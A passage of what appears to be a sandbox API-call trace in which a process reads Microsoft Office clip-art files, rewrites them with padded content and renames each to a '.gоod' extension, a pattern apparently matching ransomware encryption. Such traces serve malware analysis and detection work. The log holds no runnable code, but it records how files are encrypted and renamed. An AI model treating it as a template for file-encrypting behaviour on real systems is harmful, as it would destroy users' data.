lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3815ad8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0221.605] CloseHandle (hObject=0x85c) returned 1 [0221.605] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", lpFilePart=0x0) returned 0x44 [0221.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0221.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.605] GetFileType (hFile=0x85c) returned 0x1 [0221.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0221.605] GetFileType (hFile=0x85c) returned 0x1 [0221.605] ReadFile (in: hFile=0x85c, lpBuffer=0x3817d98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3817d98*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0221.632] CloseHandle (hObject=0x85c) returned 1 [0221.632] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", lpFilePart=0x0) returned 0x44 [0221.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0221.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.632] GetFileType (hFile=0x85c) returned 0x1 [0221.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0221.632] GetFileType (hFile=0x85c) returned 0x1 [0221.632] WriteFile (in: hFile=0x85c, lpBuffer=0x3816af0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3816af0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0221.632] CloseHandle (hObject=0x85c) returned 1 [0221.633] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", lpFilePart=0x0) returned 0x44 [0221.633] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0221.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0221.633] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x80502333, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1274)) returned 1 [0221.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0221.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.gоod")) returned 1 [0221.634] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF", lpFilePart=0x0) returned 0x44 [0221.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0221.634] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3894210 | out: lpFileInformation=0x3894210*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c8)) returned 1 [0222.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0222.447] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF", lpFilePart=0x0) returned 0x44 [0222.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0222.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0222.448] GetFileType (hFile=0x808) returned 0x1 [0222.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0222.448] GetFileType (hFile=0x808) returned 0x1 [0222.448] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x6c8 [0222.448] ReadFile (in: hFile=0x808, lpBuffer=0x3668998, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3668998*, lpNumberOfBytesRead=0x1faedc88*=0x6c8, lpOverlapped=0x0) returned 1 [0222.449] CloseHandle (hObject=0x808) returned 1 [0223.485] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF", lpFilePart=0x0) returned 0x44 [0223.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0223.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0223.486] GetFileType (hFile=0x768) returned 0x1 [0223.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0223.486] GetFileType (hFile=0x768) returned 0x1 [0223.486] WriteFile (in: hFile=0x768, lpBuffer=0x3524298*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3524298*, lpNumberOfBytesWritten=0x1faedb98*=0x6d0, lpOverlapped=0x0) returned 1 [0223.487] CloseHandle (hObject=0x768) returned 1 [0223.487] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF", lpFilePart=0x0) returned 0x44 [0223.487] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0223.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0223.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x816bdb76, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6d0)) returned 1 [0223.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0223.488] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.gоod")) returned 1 [0223.488] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", lpFilePart=0x0) returned 0x44 [0223.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0223.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3525528 | out: lpFileInformation=0x3525528*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2)) returned 1 [0223.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0223.489] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", lpFilePart=0x0) returned 0x44 [0223.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0223.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0223.489] GetFileType (hFile=0x768) returned 0x1 [0223.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0223.489] GetFileType (hFile=0x768) returned 0x1 [0223.489] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0223.489] ReadFile (in: hFile=0x768, lpBuffer=0x3525940, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3525940*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0223.808] CloseHandle (hObject=0x768) returned 1 [0224.480] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", lpFilePart=0x0) returned 0x44 [0224.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0224.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0224.481] GetFileType (hFile=0x82c) returned 0x1 [0224.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0224.481] GetFileType (hFile=0x82c) returned 0x1 [0224.481] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x30c2 [0224.481] WriteFile (in: hFile=0x82c, lpBuffer=0x359b040*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x359b040*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0224.482] CloseHandle (hObject=0x82c) returned 1 [0224.482] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", lpFilePart=0x0) returned 0x44 [0224.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0224.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0224.482] GetFileType (hFile=0x82c) returned 0x1 [0224.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0224.482] GetFileType (hFile=0x82c) returned 0x1 [0224.482] ReadFile (in: hFile=0x82c, lpBuffer=0x359d300, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x359d300*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0224.607] CloseHandle (hObject=0x82c) returned 1 [0224.607] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", lpFilePart=0x0) returned 0x44 [0224.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0224.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0224.608] GetFileType (hFile=0x82c) returned 0x1 [0224.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0224.608] GetFileType (hFile=0x82c) returned 0x1 [0224.608] WriteFile (in: hFile=0x82c, lpBuffer=0x359c058*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x359c058*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0224.608] CloseHandle (hObject=0x82c) returned 1 [0224.608] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", lpFilePart=0x0) returned 0x44 [0224.608] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0224.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0224.608] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8217a890, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30d2)) returned 1 [0224.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0224.608] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.gоod")) returned 1 [0224.610] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF", lpFilePart=0x0) returned 0x44 [0224.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0224.610] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x36196f0 | out: lpFileInformation=0x36196f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc)) returned 1 [0224.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0224.610] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF", lpFilePart=0x0) returned 0x44 [0224.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0224.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0224.610] GetFileType (hFile=0x82c) returned 0x1 [0224.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0224.610] GetFileType (hFile=0x82c) returned 0x1 [0224.610] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x9fc [0224.610] ReadFile (in: hFile=0x82c, lpBuffer=0x361a398, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x361a398*, lpNumberOfBytesRead=0x1faedc88*=0x9fc, lpOverlapped=0x0) returned 1 [0224.977] CloseHandle (hObject=0x82c) returned 1 [0225.062] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF", lpFilePart=0x0) returned 0x44 [0225.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0225.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0225.064] GetFileType (hFile=0x82c) returned 0x1 [0225.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0225.064] GetFileType (hFile=0x82c) returned 0x1 [0225.064] WriteFile (in: hFile=0x82c, lpBuffer=0x3691cd8*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3691cd8*, lpNumberOfBytesWritten=0x1faedb98*=0xa00, lpOverlapped=0x0) returned 1 [0225.065] CloseHandle (hObject=0x82c) returned 1 [0225.065] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF", lpFilePart=0x0) returned 0x44 [0225.066] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0225.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0225.066] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x825ccc3e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1 [0225.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0225.066] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.gоod")) returned 1 [0225.067] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", lpFilePart=0x0) returned 0x44 [0225.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0225.067] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3692f68 | out: lpFileInformation=0x3692f68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1678)) returned 1 [0225.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0225.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", lpFilePart=0x0) returned 0x44 [0225.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0225.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 